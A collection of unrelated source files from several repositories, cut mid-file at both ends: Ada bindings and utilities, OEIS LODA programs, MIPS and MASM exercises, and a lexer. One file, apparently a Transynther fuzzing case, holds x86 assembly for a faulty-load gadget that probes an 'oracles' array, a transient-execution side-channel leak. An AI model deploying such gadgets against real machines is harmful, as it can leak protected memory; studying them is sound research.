ASIS_Natural := Val'Length * SU; Min_Size : constant ASIS_Natural := ASIS_Natural'Min (Len, Val_Bits); D : constant Bit_String_Ptr := To_Bit_String_Ptr (Data'Address); V : constant Bit_String_Ptr := To_Bit_String_Ptr (Val'Address); SX : Bit; -- 0 or 1 for zero or sign extension Uns : constant Boolean := Is_Unsigned_Type (Typ) or else Has_Biased_Representation (Typ); begin -- Error if length of data not sufficient to accomodate new field if Data'Length < Req_Bytes then raise Constraint_Error; end if; -- Case of non-scalar type, in this case, we simply copy the data -- from the start of Val into place in the target, filling in only -- those bits corresponding to the actual field in the target. if not Is_Scalar_Type (Typ) then -- Error if supplied value is too short if Val_Bits < Len then raise Invalid_Data; end if; -- Otherwise copy in the required bits. Note that we do not -- check uncopied bits of the original field in this case. for J in 0 .. Len - 1 loop D (J + Start) := V (J); end loop; return; -- For a scalar type, things are more complicated, since we need -- to store the right set of bits, and then zero or sign extend. -- We also need to check that the value being stored is not too -- large, i.e. any unstored bits are zero or sign bits as required. -- For the little endian case, we store bits from the left end, -- low numbered bit first, i.e. low order bit first) elsif Default_Bit_Order = Low_Order_First then pragma Warnings (On, Default_Bit_Order); for J in 0 .. Min_Size - 1 loop D (J + Start) := V (J); end loop; -- Find proper extension bit if Uns or else V (Min_Size - 1) = 0 then SX := 0; else SX := 1; end if; -- If unstored bits, they must all be sign/zero extension bits if Len < Val_Bits then for J in Len .. Val_Bits - 1 loop if V (J) /= SX then raise Invalid_Data; end if; end loop; -- Otherwise, store sign/zero extension bits in rest of target else -- Len >= Val_Bits for J in Val_Bits .. Len - 1 loop D (J + Start) := SX; end loop; end if; return; -- For the little endian case, we store bits from the right end, -- high numbered bit first, i.e. low order bit first) else -- Default_Bit_Order = High_Order_First then for J in 0 .. Min_Size - 1 loop D (Start + Len - 1 - J) := V (Val_Bits - 1 - J); end loop; -- Find proper extension bit if Uns or else V (Val_Bits - Min_Size) = 0 then SX := 0; else SX := 1; end if; -- If unstored bits, they must all be sign/zero extension bits if Len < Val_Bits then for J in Len .. Val_Bits - 1 loop if V (Val_Bits - 1 - J) /= SX then raise Invalid_Data; end if; end loop; -- Otherwise, store sign/zero extension bits in rest of target else -- Len >= Val_Bits for J in Val_Bits .. Len - 1 loop D (Start + Len - 1 - J) := SX; end loop; end if; return; end if; end Set_Field; -------------------------- -- Set_Record_Component -- -------------------------- function Set_Record_Component (Data : Portable_Data; Comp : Entity_Id; Val : Portable_Data; Discs : Discrim_List := Null_Discrims) return Portable_Data is F : constant ASIS_Natural := Check_And_Eval (Component_Bit_Offset (Comp), Discs); S : constant ASIS_Natural := Check_And_Eval (Esize (Comp), Discs); begin if Component_Present (Comp, Discs) then return Set_Field (Data, F, S, Etype (Comp), Val); else raise No_Component; end if; end Set_Record_Component; procedure Set_Record_Component (Data : in out Portable_Data; Comp : Entity_Id; Val : Portable_Data; Discs : Discrim_List := Null_Discrims) is F : constant ASIS_Natural := Check_And_Eval (Component_Bit_Offset (Comp), Discs); S : constant ASIS_Natural := Check_And_Eval (Esize (Comp), Discs); begin if Component_Present (Comp, Discs) then Set_Field (Data, F, S, Etype (Comp), Val); else raise No_Component; end if; end Set_Record_Component; ------------------ -- UI_From_Aint -- ------------------ -- Due to the somewhat unfortunate choice of ASIS_Integer to be Integer -- rather than Int, there is no very simple way of doing this accurately. -- In fact, on all targets so far Integer and Int are the same type so -- we can simply assume that this test is OK. -- The following static assertions verify this assumption: -- Assert_1 : constant := 1 / Boolean'Pos -- (Int'Pos (Int'First) = ASIS_Integer'Pos (ASIS_Integer'First)); -- Assert_2 : constant := 1 / Boolean'Pos -- (Int'Pos (Int'Last) = ASIS_Integer'Pos (ASIS_Integer'Last)); function UI_From_Aint (A : ASIS_Integer) return Uint is begin return UI_From_Int (Int (A)); end UI_From_Aint; ------------------------- -- UI_Is_In_Aint_Range -- ------------------------- -- See comment and assertions for UI_From_Aint which also apply here function UI_Is_In_Aint_Range (U : Uint) return Boolean is begin return UI_Is_In_Int_Range (U); end UI_Is_In_Aint_Range; ---------------- -- UI_To_Aint -- ---------------- function UI_To_Aint (U : Uint) return ASIS_Integer is begin if UI_Is_In_Aint_Range (U) then return ASIS_Integer (UI_To_Int (U)); else raise Invalid_Data; end if; end UI_To_Aint; end A4G.DDA_Aux;
Transynther/x86/_processed/P/_zr_/i9-9900K_12_0xa0_notsx.log_1_1518.asm
ljhsiun2/medusa
9
4837
<reponame>ljhsiun2/medusa .global s_prepare_buffers s_prepare_buffers: push %r10 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_A_ht+0x2a00, %rbx nop and %r8, %r8 movb (%rbx), %r9b nop nop nop nop inc %rsi lea addresses_D_ht+0x12b00, %rsi lea addresses_WT_ht+0x22b3, %rdi nop nop nop nop nop sub %r10, %r10 mov $55, %rcx rep movsl nop nop add $34660, %rsi lea addresses_WT_ht+0x9b00, %rcx nop nop nop xor $30370, %rbx mov (%rcx), %edi nop nop cmp %rbx, %rbx lea addresses_D_ht+0x67e0, %rsi lea addresses_UC_ht+0xf723, %rdi clflush (%rdi) nop nop and %rax, %rax mov $72, %rcx rep movsl nop nop cmp $65529, %r8 lea addresses_normal_ht+0xe002, %rdi clflush (%rdi) nop nop nop nop nop xor $55742, %rsi movb (%rdi), %r8b nop nop nop nop nop xor $54343, %rcx lea addresses_WT_ht+0x1ea00, %rsi lea addresses_D_ht+0x19620, %rdi nop nop nop nop xor %r10, %r10 mov $103, %rcx rep movsl nop nop cmp $55901, %rax lea addresses_A_ht+0x1c300, %rbx nop nop nop nop nop sub $33916, %r9 movups (%rbx), %xmm2 vpextrq $1, %xmm2, %rsi nop nop nop add $41544, %r8 lea addresses_normal_ht+0x2d50, %rdi sub %r8, %r8 movb $0x61, (%rdi) nop nop nop nop nop xor %r8, %r8 lea addresses_WC_ht+0xcd00, %rsi lea addresses_WT_ht+0xa688, %rdi nop nop sub %rax, %rax mov $40, %rcx rep movsl nop nop nop nop inc %r10 lea addresses_UC_ht+0x12133, %rax nop sub %rcx, %rcx mov $0x6162636465666768, %r9 movq %r9, %xmm4 vmovups %ymm4, (%rax) nop nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x18120, %rdi nop and $48896, %rax movb $0x61, (%rdi) nop nop cmp %r10, %r10 lea addresses_WC_ht+0x7df8, %rsi lea addresses_A_ht+0x1d700, %rdi clflush (%rsi) nop nop nop nop sub %r9, %r9 mov $39, %rcx rep movsq nop nop nop nop and %r9, %r9 lea addresses_UC_ht+0x5640, %rsi lea addresses_A_ht+0x17ca4, %rdi nop nop dec %rax mov $124, %rcx rep movsb nop nop xor %rcx, %rcx lea addresses_WT_ht+0x9340, %rsi lea addresses_D_ht+0x1c383, %rdi clflush (%rdi) sub %r8, %r8 mov $74, %rcx rep movsb nop nop nop nop nop xor %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %rax push %rcx push %rdi // Faulty Load mov $0xb00, %rdi nop nop inc %rcx mov (%rdi), %eax lea oracles, %r11 and $0xff, %rax shlq $12, %rax mov (%r11,%rax,1), %rax pop %rdi pop %rcx pop %rax pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_P', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}} {'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': True, 'same': False, 'congruent': 3}} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': True}} {'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}} {'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'00': 1} 00 */
programs/oeis/027/A027540.asm
karttu/loda
0
2248
<filename>programs/oeis/027/A027540.asm ; A027540: Second diagonal of A027537. ; 3,16,55,156,399,960,2223,5020,11143,24432,53079,114492,245535,524032,1113823,2358972,4980375,10485360,22019655,46136860,96468463,201326016,419429775,872414556,1811938599,3758095600,7784627383,16106126460,33285995583,68719475712,141733919679,292057774972,601295420215,1236950579952,2542620637863,5222680230492,10720238369295,21990232553920,45079976737135,92358976731420,189115999975623,387028092975216,791648371996695,1618481116084156,3307330976347999,6755399441053440 mov $1,3 lpb $0,1 add $2,$1 add $1,$0 sub $0,1 mul $1,2 add $1,5 lpe add $1,$2
Ficheiros assembly (TP's e Testes)/ex11-folha4.asm
pemesteves/mpcp-1718
0
7161
include mpcp.inc ;; declaracoes de dados (variaveis globais) .data ;; seccao de codigo principal .code ROTINA PROC uses EDI A:DWORD , B: DWORD RET ROTINA ENDP main PROC C mov eax, eax invoke ROTINA , EAX , EBX main ENDP ;; ----------------------------- ;; codigo de outras rotinas end
tools/druss-gateways.adb
stcarrez/bbox-ada-api
2
5997
----------------------------------------------------------------------- -- druss-gateways -- Gateway management -- Copyright (C) 2017, 2021 <NAME> -- Written by <NAME> (<EMAIL>) -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. ----------------------------------------------------------------------- with Util.Properties.Basic; with Util.Strings; with Util.Log.Loggers; with Util.Http.Clients; package body Druss.Gateways is use Ada.Strings.Unbounded; -- The logger Log : constant Util.Log.Loggers.Logger := Util.Log.Loggers.Create ("Druss.Gateways"); protected body Gateway_State is function Get_State return State_Type is begin return State; end Get_State; end Gateway_State; function "=" (Left, Right : in Gateway_Ref) return Boolean is begin if Left.Is_Null then return Right.Is_Null; elsif Right.Is_Null then return False; else declare Left_Rule : constant Gateway_Refs.Element_Accessor := Left.Value; Right_Rule : constant Gateway_Refs.Element_Accessor := Right.Value; begin return Left_Rule.Element = Right_Rule.Element; end; end if; end "="; package Int_Property renames Util.Properties.Basic.Integer_Property; package Bool_Property renames Util.Properties.Basic.Boolean_Property; -- ------------------------------ -- Initalize the list of gateways from the property list. -- ------------------------------ procedure Initialize (Config : in Util.Properties.Manager; List : in out Gateway_Vector) is Count : constant Natural := Int_Property.Get (Config, "druss.bbox.count", 0); begin for I in 1 .. Count loop declare Gw : constant Gateway_Ref := Gateway_Refs.Create; Base : constant String := "druss.bbox." & Util.Strings.Image (I); begin Gw.Value.Ip := Config.Get (Base & ".ip"); if Config.Exists (Base & ".images") then Gw.Value.Images := Config.Get (Base & ".images"); end if; Gw.Value.Passwd := Config.Get (Base & ".password"); Gw.Value.Serial := Config.Get (Base & ".serial"); Gw.Value.Enable := Bool_Property.Get (Config, Base & ".enable", True); List.Append (Gw); exception when Util.Properties.NO_PROPERTY => Log.Debug ("Ignoring gatway {0}", Base); end; end loop; end Initialize; -- ------------------------------ -- Save the list of gateways. -- ------------------------------ procedure Save_Gateways (Config : in out Util.Properties.Manager; List : in Druss.Gateways.Gateway_Vector) is Pos : Natural := 0; begin for Gw of List loop Pos := Pos + 1; declare Base : constant String := "druss.bbox." & Util.Strings.Image (Pos); begin Config.Set (Base & ".ip", Gw.Value.Ip); Config.Set (Base & ".password", Gw.Value.Passwd); Config.Set (Base & ".serial", Gw.Value.Serial); Bool_Property.Set (Config, Base & ".enable", Gw.Value.Enable); exception when Util.Properties.NO_PROPERTY => null; end; end loop; Util.Properties.Basic.Integer_Property.Set (Config, "druss.bbox.count", Pos); end Save_Gateways; -- ------------------------------ -- Refresh the information by using the Bbox API. -- ------------------------------ procedure Refresh (Gateway : in out Gateway_Type) is Box : Bbox.API.Client_Type; begin if Gateway.State.Get_State = BUSY then return; end if; Box.Set_Server (To_String (Gateway.Ip)); if Ada.Strings.Unbounded.Length (Gateway.Passwd) > 0 then Box.Login (To_String (Gateway.Passwd)); end if; Box.Get ("wan/ip", Gateway.Wan); Box.Get ("lan/ip", Gateway.Lan); Box.Get ("device", Gateway.Device); Box.Get ("wireless", Gateway.Wifi); Box.Get ("voip", Gateway.Voip); Box.Get ("iptv", Gateway.IPtv); Box.Get ("hosts", Gateway.Hosts); if Gateway.Device.Exists ("device.serialnumber") then Gateway.Serial := Gateway.Device.Get ("device.serialnumber"); end if; exception when Util.Http.Clients.Connection_Error => Log.Error ("Cannot connect to {0}", To_String (Gateway.Ip)); end Refresh; -- ------------------------------ -- Refresh the information by using the Bbox API. -- ------------------------------ procedure Refresh (Gateway : in Gateway_Ref) is begin Gateway.Value.Refresh; end Refresh; -- ------------------------------ -- Iterate over the list of gateways and execute the <tt>Process</tt> procedure. -- ------------------------------ procedure Iterate (List : in Gateway_Vector; Mode : in Iterate_Type := ITER_ALL; Process : not null access procedure (G : in out Gateway_Type)) is Expect : constant Boolean := Mode = ITER_ENABLE; begin for G of List loop if Mode = ITER_ALL or else G.Value.Enable = Expect then Process (G.Value); end if; end loop; end Iterate; Null_Gateway : Gateway_Ref; -- ------------------------------ -- Find the gateway with the given IP address. -- ------------------------------ function Find_IP (List : in Gateway_Vector; IP : in String) return Gateway_Ref is begin for G of List loop if G.Value.Ip = IP then return G; end if; end loop; Log.Debug ("No gateway with IP {0}", IP); return Null_Gateway; end Find_IP; end Druss.Gateways;
oeis/040/A040703.asm
neoneye/loda-programs
11
100809
<reponame>neoneye/loda-programs<filename>oeis/040/A040703.asm ; A040703: Continued fraction for sqrt(731). ; Submitted by <NAME> ; 27,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54,27,54 trn $0,1 mod $0,2 add $0,1 mul $0,27
src/generated/context_init_h.ads
csb6/libtcod-ada
0
7364
pragma Ada_2012; pragma Style_Checks (Off); with Interfaces.C; use Interfaces.C; limited with tileset_h; with Interfaces.C.Strings; with System; with Interfaces.C.Extensions; with error_h; package context_init_h is -- BSD 3-Clause License -- * -- * Copyright © 2008-2021, Jice and the libtcod contributors. -- * All rights reserved. -- * -- * Redistribution and use in source and binary forms, with or without -- * modification, are permitted provided that the following conditions are met: -- * -- * 1. Redistributions of source code must retain the above copyright notice, -- * this list of conditions and the following disclaimer. -- * -- * 2. Redistributions in binary form must reproduce the above copyright notice, -- * this list of conditions and the following disclaimer in the documentation -- * and/or other materials provided with the distribution. -- * -- * 3. Neither the name of the copyright holder nor the names of its -- * contributors may be used to endorse or promote products derived from -- * this software without specific prior written permission. -- * -- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -- * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -- * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -- * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -- * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -- * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -- * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -- * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -- * POSSIBILITY OF SUCH DAMAGE. -- --* -- A struct of paramers used to create a new context with `TCOD_context_new`. -- --* -- Must be `TCOD_COMPILEDVERSION`. -- type TCOD_ContextParams is record tcod_version : aliased int; -- context_init.h:47 window_x : aliased int; -- context_init.h:56 window_y : aliased int; -- context_init.h:56 pixel_width : aliased int; -- context_init.h:61 pixel_height : aliased int; -- context_init.h:61 columns : aliased int; -- context_init.h:66 rows : aliased int; -- context_init.h:66 renderer_type : aliased int; -- context_init.h:70 tileset : access tileset_h.TCOD_Tileset; -- context_init.h:77 vsync : aliased int; -- context_init.h:82 sdl_window_flags : aliased int; -- context_init.h:90 window_title : Interfaces.C.Strings.chars_ptr; -- context_init.h:94 argc : aliased int; -- context_init.h:98 argv : System.Address; -- context_init.h:105 cli_output : access procedure (arg1 : System.Address; arg2 : Interfaces.C.Strings.chars_ptr); -- context_init.h:114 cli_userdata : System.Address; -- context_init.h:118 window_xy_defined : aliased Extensions.bool; -- context_init.h:123 end record with Convention => C_Pass_By_Copy; -- context_init.h:43 --* -- `window_x` and `window_y` are the starting position of the window. -- These are SDL parameters so values like `SDL_WINDOWPOS_UNDEFINED` and -- `SDL_WINDOWPOS_CENTERED` are acceptable. -- Values of zero will be converted to `SDL_WINDOWPOS_UNDEFINED` unless -- `window_xy_defined` is true. -- --* -- `pixel_width` and `pixel_height` are the desired size of the window in pixels. -- If these are zero then they'll be derived from `columns`, `rows`, and the `tileset`. -- --* -- `columns` and `rows` are the desired size of the terminal window. -- Usually you'll set either these or the pixel resolution. -- --* -- `renderer_type` is one of the `TCOD_renderer_t` values. -- --* -- `tileset` is an optional pointer to a tileset object. -- If this is NULL then a platform specific fallback tileset will be used. -- This fallback is known to be unreliable, but it should work well enough -- for prototyping code. -- --* -- If `vsync` is true, then vertical sync will be enabled whenever possible. -- A value of true is recommended. -- --* -- `sdl_window_flags` is a bitfield of SDL_WindowFlags flags. -- For a window, a value of ``SDL_WINDOW_RESIZABLE`` is recommended. -- For fullscreen, a value of -- ``SDL_WINDOW_RESIZABLE | SDL_WINDOW_FULLSCREEN_DESKTOP`` is recommended. -- You should avoid the ``SDL_WINDOW_FULLSCREEN`` flag whenever possible. -- --* -- `window_title` will be the title of the opened window. -- --* -- The number of items in `argv`. -- --* -- `argc` and `argv` are optional CLI parameters. -- You can pass `0` and `NULL` respectfully to ignore them. -- If unsure then you should pass the `argc` and `argv` arguments from your -- `main` function. -- --* -- If user attention is required for the given CLI parameters then -- `cli_output` will be called with `cli_userdata` and an error or help -- message. -- If `cli_output` is NULL then it will print the message to stdout and -- terminate the program. If `cli_output` returns normally then -- TCOD_E_REQUIRES_ATTENTION will be returned from `TCOD_context_new`. -- --* -- This is passed to the `userdata` parameter of `cli_output` if called. -- --* -- If this is false then `window_x`/`window_y` parameters of zero are -- assumed to be undefined and will be changed to `SDL_WINDOWPOS_UNDEFINED`. -- --* -- Create a new context with the given parameters. -- `params` is a non-NULL pointer to a TCOD_ContextParams struct. -- See its documentation for info on the parameters. -- `out` is the output for the `TCOD_Context`, must not be NULL. -- \rst -- .. versionadded:: 1.16 -- \endrst -- function TCOD_context_new (params : access constant TCOD_ContextParams; c_out : System.Address) return error_h.TCOD_Error -- context_init.h:140 with Import => True, Convention => C, External_Name => "TCOD_context_new"; -- extern "C" -- namespace tcod end context_init_h;
src.orig/src/x_replier.adb
persan/dds-requestreply
0
11785
<gh_stars>0 -- /* $Id$ -- -- (c) Copyright, Real-Time Innovations, 2012-2016. -- All rights reserved. -- No duplications, whole or partial, manual or electronic, may be made -- without express written permission. Any such copies, or -- revisions thereof, must display this notice unaltered. -- This code contains trade secrets of Real-Time Innovations, Inc. -- -- modification history -- --------------------- -- 1.0a,2mar12,jch Created. -- ============================================================================ */ -- -- #include "log/log_makeheader.h" -- -- #ifndef log_common_h -- #include "log/log_common.h" -- #endif -- -- #ifndef connext_c_replier_h -- #include "connext_c/connext_c_replier.h" -- #endif -- -- #include "connext_c/connext_c_simple_replier.h" -- -- #ifndef connext_c_replier_impl_h -- #include "connext_c/connext_c_replier_impl.h" -- #endif -- -- #include "dds_c/dds_c_log_impl.h" -- -- #include "connext_c/connext_c_untyped_impl.h" -- -- #include "UntypedCommon.pkg.h" -- -- #include "connext_c/generic/connext_c_requestreply_TReqTRepReplier.gen" -- -- #define DDS_CURRENT_SUBMODULE DDS_SUBMODULE_MASK_DATA -- package body replier is pragma warnings (off); ------------------------------------------- -- RTI_Connext_Replier_on_data_available -- ------------------------------------------- procedure RTI_Connext_Replier_on_data_available (listener_data : Interfaces.C.Extensions.void_ptr; reader : DDS.DataReader.Ref_Access) is begin pragma Compile_Time_Warning (Standard.True, "RTI_Connext_Replier_on_data_available unimplemented"); raise Program_Error with "Unimplemented procedure RTI_Connext_Replier_on_data_available"; end RTI_Connext_Replier_on_data_available; ---------------------------------------------- -- RTI_Connext_ReplierParams_toEntityParams -- ---------------------------------------------- procedure RTI_Connext_ReplierParams_toEntityParams (self : in RTI_Connext_ReplierParams; toParams : out RTI_Connext_EntityParams) is begin pragma Compile_Time_Warning (Standard.True, "RTI_Connext_ReplierParams_toEntityParams unimplemented"); raise Program_Error with "Unimplemented procedure RTI_Connext_ReplierParams_toEntityParams"; end RTI_Connext_ReplierParams_toEntityParams; ------------------------------------------- -- RTI_Connext_Replier_wait_for_requests -- ------------------------------------------- -- -- void RTI_Connext_Replier_on_data_available( -- void* listener_data, DDS_DataReader* reader) -- { -- DDSLog_preconditionOnly( -- const char * METHOD_NAME = "RTI_Connext_Replier_on_data_available";) -- RTI_Connext_Replier* self = (RTI_Connext_Replier*) listener_data; -- -- DDSLog_testPrecondition(self != NULL, return) -- DDSLog_testPrecondition(self->listener.on_request_available != NULL, return) -- -- self->listener.on_request_available(&self->listener, self); -- } -- DDS_ReturnCode_t RTI_Connext_ReplierParams_toEntityParams( -- const RTI_Connext_ReplierParams* self, RTI_Connext_EntityParams* toParams) -- { -- DDSLog_preconditionOnly( -- const char* METHOD_NAME = "RTI_Connext_ReplierParams_toEntityParams";) -- -- DDSLog_testPrecondition(self == NULL, return DDS_RETCODE_PRECONDITION_NOT_MET); -- DDSLog_testPrecondition(toParams == NULL, return DDS_RETCODE_PRECONDITION_NOT_MET); -- toParams->participant = self->participant; -- toParams->datareader_qos = self->datareader_qos; -- toParams->datawriter_qos = self->datawriter_qos; -- toParams->publisher = self->publisher; -- toParams->qos_library_name = self->qos_library_name; -- toParams->qos_profile_name = self->qos_profile_name; -- toParams->reply_topic_name = self->reply_topic_name; -- toParams->request_topic_name = self->request_topic_name; -- toParams->service_name = self->service_name; -- toParams->subscriber = self->subscriber; -- -- return DDS_RETCODE_OK; -- } -- -- DDS_ReturnCode_t RTI_Connext_Replier_delete(RTI_Connext_Replier * self) -- { -- DDS_ReturnCode_t retcode = DDS_RETCODE_OK; -- const char* METHOD_NAME = "RTI_Connext_Replier_delete"; -- -- if(self == NULL) { -- DDSLog_exception(METHOD_NAME, &DDS_LOG_BAD_PARAMETER_s, -- "self"); -- return DDS_RETCODE_BAD_PARAMETER; -- } -- -- if (self->_impl != NULL) { -- retcode = RTI_Connext_EntityUntypedImpl_delete(self->_impl); -- if(retcode != DDS_RETCODE_OK) { -- DDSLog_exception(METHOD_NAME, &RTI_LOG_ANY_FAILURE_s, -- "Failure deleting impl"); -- } -- } -- -- RTIOsapiHeap_free(self); -- -- return retcode; -- } procedure RTI_Connext_Replier_Wait_For_Requests (Self : not null access RTI_Connext_Replier; Min_Count : DDS.Natural; Max_Wait : out DDS.Duration_T) is begin RTI_Connext_Replier'Class (Self.all)'Access.RTI_Connext_EntityUntypedImpl_Wait_For_Any_Sample (Min_Count, Max_Wait); end; -- -- /* ----------------------------------------------------------------- */ end replier;
MIPS_Language/exp_1_3.asm
Timothy-LiuXuefeng/MIPS
0
242688
# $s0: a; $s1: n; $t0: i; .data space: .asciiz " " .text li $v0, 5 # read n syscall move $s1, $v0 sll $a0, $s1, 2 # a0 = n * 4 li $v0, 9 # heap alloc syscall move $s0, $v0 li $t0, 0 # for i = 0 move $t3, $s0 # save the address of a into $t3 input: slt $t2, $t0, $s1 beq $t2, $0, endinput li $v0, 5 # read a[i] syscall sw $v0, 0($t3) addi $t3, $t3, 4 addi $t0, $t0, 1 j input endinput: li $t0, 0 # for i = 0 move $t3, $s0 # save the address of a into t3 addi $t4, $s1, -1 # calculate n - 1 sll $t4, $t4, 2 # calculate (n - 1) * 4 add $t4, $s0, $t4 # save the address of a[n - 1] into $t4 srl $t5, $s1, 1 # save n / 2 into t5 exchange: slt $t1, $t0, $t5 # i < n / 2 beq $t1, $0, endexchange lw $t1, 0($t3) # t = a[i] lw $t2, 0($t4) # get a[n - i - 1] sw $t2, 0($t3) # a[i] = a[n - i - 1] sw $t1, 0($t4) # a[n - i - 1] = t addi $t4, $t4, -4 addi $t3, $t3, 4 addi $t0, $t0, 1 j exchange endexchange: li $t0, 0 # for i = 0 move $t3, $s0 # save the address of a into t3 print: slt $t2, $t0, $s1 beq $t2, $0, endprint lw $a0, 0($t3) # print %d li $v0, 1 syscall la $a0, space li $v0, 4 syscall addi $t3, $t3, 4 addi $t0, $t0, 1 j print endprint: li $v0, 17 li $a0, 0 # return 0 syscall # exit
3-mid/impact/source/2d/orbs/dynamics/contacts/impact-d2-orbs-contact-circle.ads
charlie5/lace
20
15835
<filename>3-mid/impact/source/2d/orbs/dynamics/contacts/impact-d2-orbs-contact-circle.ads with impact.d2.orbs.Fixture; package impact.d2.orbs.Contact.circle -- -- -- is type b2CircleContact is new b2Contact with null record; type View is access all b2CircleContact'Class; function to_b2CircleContact (fixtureA, fixtureB : access fixture.item'Class) return b2CircleContact; overriding procedure Evaluate (Self : in out b2CircleContact; manifold : access collision.b2Manifold; xfA, xfB : in b2Transform); function Create (fixtureA, fixtureB : access Fixture.item) return access b2Contact'Class; procedure Destroy (contact : in out impact.d2.orbs.Contact.view); end impact.d2.orbs.Contact.circle;
symbex-lex.adb
io7m/coreland-symbex
1
28186
<filename>symbex-lex.adb with Ada.Wide_Characters.Unicode; -- GNAT Specific. -- with Ada.Text_IO; package body Symbex.Lex is package Unicode renames Ada.Wide_Characters.Unicode; -- -- Private subprograms. -- procedure Set_State (Lexer : in out Lexer_t; State : in State_Stage_t) is begin Lexer.State (State) := True; end Set_State; procedure Unset_State (Lexer : in out Lexer_t; State : in State_Stage_t) is begin Lexer.State (State) := False; end Unset_State; function State_Is_Set (Lexer : in Lexer_t; State : in State_Stage_t) return Boolean is begin return Lexer.State (State); end State_Is_Set; -- -- Return true if internal token buffer contains data. -- function Token_Is_Nonzero_Length (Lexer : in Lexer_t) return Boolean is begin -- Ada.Text_IO.Put_Line ("length: " & Natural'Image (UBW_Strings.Length (Lexer.Token_Buffer))); return UBW_Strings.Length (Lexer.Token_Buffer) /= 0; end Token_Is_Nonzero_Length; -- -- Append item to internal token buffer. -- procedure Append_To_Token (Lexer : in out Lexer_t; Item : in Wide_Character) is begin UBW_Strings.Append (Lexer.Token_Buffer, Item); end Append_To_Token; -- -- Finish token in buffer and assign kind Kind. -- procedure Complete_Token (Lexer : in out Lexer_t; Kind : in Token_Kind_t; Token : out Token_t) is begin Token := Token_t' (Is_Valid => True, Line_Number => Lexer.Current_Line, Text => Lexer.Token_Buffer, Kind => Kind); Lexer.Token_Buffer := UBW_Strings.Null_Unbounded_Wide_String; end Complete_Token; -- -- Categorize Item into character class. -- function Categorize_Character (Item : in Wide_Character) return Character_Class_t is Class : Character_Class_t := Ordinary_Text; begin case Item is when '(' => Class := List_Open_Delimiter; when ')' => Class := List_Close_Delimiter; when '"' => Class := String_Delimiter; when ';' => Class := Comment_Delimiter; when '\' => Class := Escape_Character; when others => if Unicode.Is_Line_Terminator (Item) then Class := Line_Break; else if Unicode.Is_Space (Item) then Class := Whitespace; end if; end if; end case; return Class; end Categorize_Character; -- -- Public API. -- function Initialized (Lexer : in Lexer_t) return Boolean is begin return Lexer.Inited; end Initialized; -- -- Initialize the lexer. -- procedure Initialize_Lexer (Lexer : out Lexer_t; Status : out 